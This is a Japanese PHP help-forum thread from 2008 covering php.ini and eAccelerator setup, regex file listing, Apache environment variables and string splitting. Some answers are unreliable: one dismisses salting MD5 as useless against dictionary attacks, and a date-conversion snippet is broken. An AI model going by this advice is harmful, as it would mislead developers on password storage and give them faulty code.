2008/08/14(木) 17:50:57ID:???0935926
2008/08/14(木) 17:53:12ID:kPaTSKvd紹介されていたサイトの指定だと「extension_dir = "C:/php/extensions"」ですが
自分の環境ではC:-php-extとなっているので"C:/php/ext"と指定して見ても変わりなく
ドライブCの大文字&小文字、仕切りの/を\でも試して見たんですが反応が無いです
eacceleratorの場所はアドバイスして貰った通りに
zend_extension="C:\php\ext\eAccelerator.dll"で指定もしましたが変化無い感じです
後ろでsquidやpolipoが走っていたりしますが特にエラーメッセージも無いので関係は無いでしょう
とりあえずDirectoryIndexは最後尾に追記しました
0936nobodyさん
2008/08/14(木) 17:55:31ID:/DkD0y7+0937931
2008/08/14(木) 18:03:56ID:???PHP5.2.6だよな?最新をダウンロードしたなら問題ないか・・・
phpinfo()で見た時の「extension_dir」は正しいか?
Apacheの再起動を忘れてて反映されてないってオチだったらポカーンだが
0938nobodyさん
2008/08/14(木) 18:20:34ID:???http://127.0.0.1/phpinfo.phpに繋ぐと↑のように表示されます。バージョンは新しい物の筈ですが…
なんとなくApache側の問題のような気がしなくもないです
LoadModule php4_module "C:/php/sapi/php4apache2.dll"がデフォの指示ですが
ウチの構成に/sapi/というディレクトリが無いのでここの変更はしょうがないのではと…
とりあえずあまり突飛な事はしてないと分かっただけでもおkです
凡ミスかもしれないので設定を洗いなおしてみます
0939926
2008/08/14(木) 20:02:27ID:kPaTSKvd実に初歩的な問題でした。"="の両端にあった半角スペースを取り除いたらあっさり認識しました
.dllの場所とキャッシュは各々、
extension="eaccelerator.dll"
eaccelerator.cache_dir="C:\php\cache"
で問題無く適応されました。アドバイス頂いた方々本当に感謝です、勉強になりました
0940nobodyさん
2008/08/14(木) 23:34:07ID:g5LH5b33検索してみるとmd5は辞書攻撃に対して脆弱だという意見があるようです。
そのまま使っても問題ないのでしょうか?
それともsaltを付加して比較するようにオーバーライドした方が良いのでしょうか?
0941nobodyさん
2008/08/14(木) 23:36:12ID:???0942nobodyさん
2008/08/15(金) 01:19:47ID:6/CM4ZPRみずほのインターネットバンクだと、パスワードの2番目と4番目を入力しろとかいう指定があります。
このような認証方法だと何かセキュリティーに有利な点がありますか?
0943nobodyさん
2008/08/15(金) 03:03:48ID:???お前たちは、低脳。
0944nobodyさん
2008/08/15(金) 03:32:17ID:???salt使ってもmd5。だいたい辞書攻撃なら同じことだろ・・・
>>942
インターネット経由と郵便局経由のパスワードの両方で認証する点が最大のメリット。
0947929
2008/08/15(金) 08:28:51ID:VdYE+goqレスありがとうございます
0948nobodyさん
2008/08/15(金) 10:54:52ID:???エクセルで
DATEVALUE(2008年08月11日) →39671
を
PHPでやるにはどうしたらよいですか?
0949nobodyさん
2008/08/15(金) 11:47:48ID:???$amount_month = 12
$start = 1900
$end_year = 2008
$end_month = 8
$end_day = 11
$diff_year = $end_year - $start
$datevalue = $diff_year * $amount_day + $end_month * $amount_month + $end_day
0950nobodyさん
2008/08/15(金) 11:49:24ID:???0951nobodyさん
2008/08/15(金) 12:30:57ID:???0953nobodyさん
2008/08/15(金) 12:40:52ID:k2b6NQX0下記の場合複数のcsvファイルがあっても1つしか取得できません
ミスをご指摘いただけませんでしょうか。
// 書式: array dirflist_re ( string $directory, string $pattern );
// $directoryに存在するファイルから$patternで指定したパターンを含むファイルリストを取得する。
// $patternはデリミタで囲む必要はありません。
function dirflist_re($directory, $pattern ) {
$flist = array();
$pattern = '/' . $pattern . '/';
$handle = opendir($directory);
while ( ($f = readdir($handle)) !== FALSE ) {
if( FALSE !== preg_match($pattern, $f)) {
preg_match($pattern, $f, $flist);
}
}
return($flist);
}
$f = dirflist_re('.','.+csv$');
print_r($f);
0954953
2008/08/15(金) 12:44:18ID:k2b6NQX00955nobodyさん
2008/08/15(金) 12:44:43ID:???whileの中の$flistがループの度に上書きされてないか?
preg_matchの後にマッチしたかどうかをifで判定して、$flistを別の変数に移さないと・・・
0956nobodyさん
2008/08/15(金) 12:44:46ID:???preg_match($pattern, $f, $flist);
}
ここをコメントアウトして、while内でprint
0957nobodyさん
2008/08/15(金) 12:46:28ID:???0958nobodyさん
2008/08/15(金) 12:47:13ID:???関数内でprintしちゃマズくね?
最終行のprint_rはデバッグ目的だと思うが >>953よ、どうなんだ?
0959nobodyさん
2008/08/15(金) 12:51:13ID:k2b6NQX0全てのファイル名が表示されます。
>>958
その通りです。
因みに、csvファイルは2つ存在してますが
一番最後のcsvファイル名のみが出力されます
0960958
2008/08/15(金) 12:54:19ID:???テストしてないから、アレだが「array_filter」は便利だぞ
function firflist_re($directory, $pattern){
$dirs = scandir($directory); // scandirが使える環境用
return array_filter($dirs, create_function('$name', 'return preg_match("/'.$pattern.'/", $name);'));
}
0961nobodyさん
2008/08/15(金) 12:55:10ID:???一つ一つの原因を切り分けて実装してみることです。
特になんでもかんでも一行の正規表現で文字列を引っかけようとしたら
はまります。正規表現は万能でもないし、コードがわかりにくい。
うちの会社の品質管理部が正規表現を見たら、一発でアウトです。
正規表現を使わずに分かりやすいコードを書く方がバグがすくなくて済みます。
趣味でやっているんじゃないでしょ。利用者が迷惑しますよ。
0962nobodyさん
2008/08/15(金) 13:00:22ID:???matches を指定した場合、検索結果が代入されます。 $matches[0] にはパターン全体にマッチしたテキストが代入され、 $matches[1] には 1 番目ののキャプチャ用サブパターンにマッチした 文字列が代入され、といったようになります。
つまり↑の方法では最終ループで一致したファイル名しか返さない。
>>955が正しい。
while内で$i++;して、$ret[$i] = $flist。そんでreturn $ret;とか。
0963nobodyさん
2008/08/15(金) 13:12:09ID:k2b6NQX0まだ初心者で知らない関数がいくつか含まれてますので勉強してみます;
>>961
PHP勉強し始めて3週間です。
他のプログラムの知識もないに等しいのでまだ趣味というにも程遠いのですがorz
しかし、逆に正規表現は業界標準の表記なのかと勘違いしてました。
勉強になります。
>>962
今からさっそく試してみます
>>955
すみません、読み飛ばしてました
修正してみます。
0964953
2008/08/15(金) 14:24:58ID:k2b6NQX0まず>>962氏を参考に修正しましたが、
matchしないファイル、ディレクトリを読み込んだ際には、
配列が空白にだったので、6行目のif文の判定をFALSEではなく
NULLにしたところ上手く行きました。
(FALSEはNOmatchという意味ではなかったんですね、勘違いしてました)
function dirflist_re($directory, $pattern ) {
$i = 0;
$pattern = '/' . $pattern . '/';
$handle = opendir($directory);
while ( ($f = readdir($handle)) !== FALSE ) {
if( preg_match($pattern, $f) != NULL) {
preg_match($pattern, $f, $flist);
$ret[$i] = $flist;
$i++;
}
}
return($ret);
}
$f = dirflist_re('.','.+csv$');
print_r($f);
皆さんのご協力感謝します。
0965nobodyさん
2008/08/15(金) 15:16:46ID:zS1QTwus0966nobodyさん
2008/08/15(金) 15:16:46ID:6pQMDtTM0967nobodyさん
2008/08/15(金) 15:18:19ID:???環境変数はApacheが設定するもの。
環境変数の仕様を換えたかったら、自分でApacheのモジュールを自作するしかない。
俺もスパム対策用にApacheモジュールを作って組み込んでいる。
0968nobodyさん
2008/08/15(金) 15:30:26ID:6pQMDtTMそれはApacheEnvironmentにあたるものですよね?
http://www.21style.jp/
たとえば上記URLのEnvironmentにある
USERはatwなのにHOMEが/rootになる
このサイトのatwユーザのHOMEが/rootなのかもしれませんが
このような状況は自分のサイトでも起こっており何故なのかと思いました
0969nobodyさん
2008/08/15(金) 15:50:08ID:???環境変数って言うくらいだから、Apache起動時にセットされるんじゃね?
(ソース見る余裕はないから妄想)
試しにApacheを停止して、suでrootになった普通のユーザでApacheを起動したら
そのユーザの環境変数が継承されたから、正解と言えなくとも近いはず
0970nobodyさん
2008/08/15(金) 16:10:55ID:6pQMDtTM起動ユーザの環境変数だったんですね・・・
ありがとうございました
0971nobodyさん
2008/08/16(土) 01:53:07ID:MsTyjZua変数のスコープのレベル感が無駄になるようなのですが、
これは仕様的なのでしょうか?
if文の中に定義してある変数的なものが、
その外においても有効になっていて、
同じような変数とコリジョンを起こして結果が不正になります。
0972nobodyさん
2008/08/16(土) 01:58:16ID:P/MDsP8S| ノ\ ヽ |
/ ●゛ ● | |
| ∪ ( _●_) ミ j
彡、 |∪| | J
/ ∩ノ ⊃ ヽ
( \ / _ノ | |
.\ “ /__| |
\ /___ /
0973nobodyさん
2008/08/16(土) 02:00:00ID:???| ノ\ ヽ |
/ ●゛ ● | |
| ∪ ( _●_) ミ j
彡、 |∪| | J
/ ∩ノ ⊃ ヽ
( \ / _ノ | |
.\ “ /__| |
\ /___ /
0974nobodyさん
2008/08/16(土) 10:18:20ID:8euwbT+o次のようにセパレーターを含まない文字列を指定文字目(或いは指定バイト目)で分割する関数ってありますか?
情報収集不足なのかもしれませんがよろしくお願いします。
"20080816" ⇒ 4文字目、6文字目 ⇒ "2008" "08" "16"
"abcdefgh" ⇒ 4文字目、6文字目 ⇒ "abcd" "ef" "gh"
0976nobodyさん
2008/08/16(土) 10:39:24ID:8euwbT+oありがとうございます
一気に指定数に分解できればと思ったのですが、無いでしょうか?
無ければstr_splitで1文字づつ分解後に結合する関数を作るしかなさそうですね。。。
0977nobodyさん
2008/08/16(土) 11:12:59ID:???地道にsubstr()で分割したら?
$aに'20080816'とか入ってるとして
substr($a, 0, 4); // '2008'
substr($a, 4, 2); // '08'
substr($a, 6, 2); // '16'
でいいじゃん。
他には正規表現使って
preg_match('/^(.{4})(.{2})(.{2})/', $a, $m);
ってやると分割された文字列が$mに入る
0978nobodyさん
2008/08/16(土) 11:20:53ID:???他には正規表現使って
他には正規表現使って
他には正規表現使って
他には正規表現使って
0980nobodyさん
2008/08/16(土) 11:48:04ID:???何か?
何か?
何か?
何か?
0982nobodyさん
2008/08/16(土) 11:59:46ID:???たててくる
0983nobodyさん
2008/08/16(土) 12:00:37ID:???0984nobodyさん
2008/08/16(土) 12:09:38ID:???http://pc11.2ch.net/test/read.cgi/php/1218855685/
0985nobodyさん
2008/08/16(土) 12:11:55ID:8euwbT+o今、関数作りかけてたところに助け船が!
そのほうが断然簡単ですね。
無駄な事しなくて済み、本当に助かりました。
0986nobodyさん
2008/08/16(土) 12:26:19ID:A4u+7Tq3お盆休みでおもしろくない。どっか面白い本やホームページ教えて。
できれば、PHP関連で。無かったら他の言語でもいい。
もう、あきた。
0988nobodyさん
2008/08/17(日) 00:16:21ID:???0989nobodyさん
2008/08/17(日) 08:37:37ID:BvSuXUrB0990nobodyさん
2008/08/17(日) 11:23:49ID:???0991nobodyさん
2008/08/17(日) 11:51:15ID:???0992nobodyさん
2008/08/17(日) 12:10:28ID:???埋め
0995nobodyさん
2008/08/17(日) 14:51:48ID:???0996nobodyさん
2008/08/17(日) 16:07:28ID:???0997nobodyさん
2008/08/17(日) 16:41:58ID:iSRyr/QI0998nobodyさん
2008/08/17(日) 18:34:42ID:???0999nobodyさん
2008/08/17(日) 18:44:59ID:???1000nobodyさん
2008/08/17(日) 18:46:23ID:oIc5WcqC10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。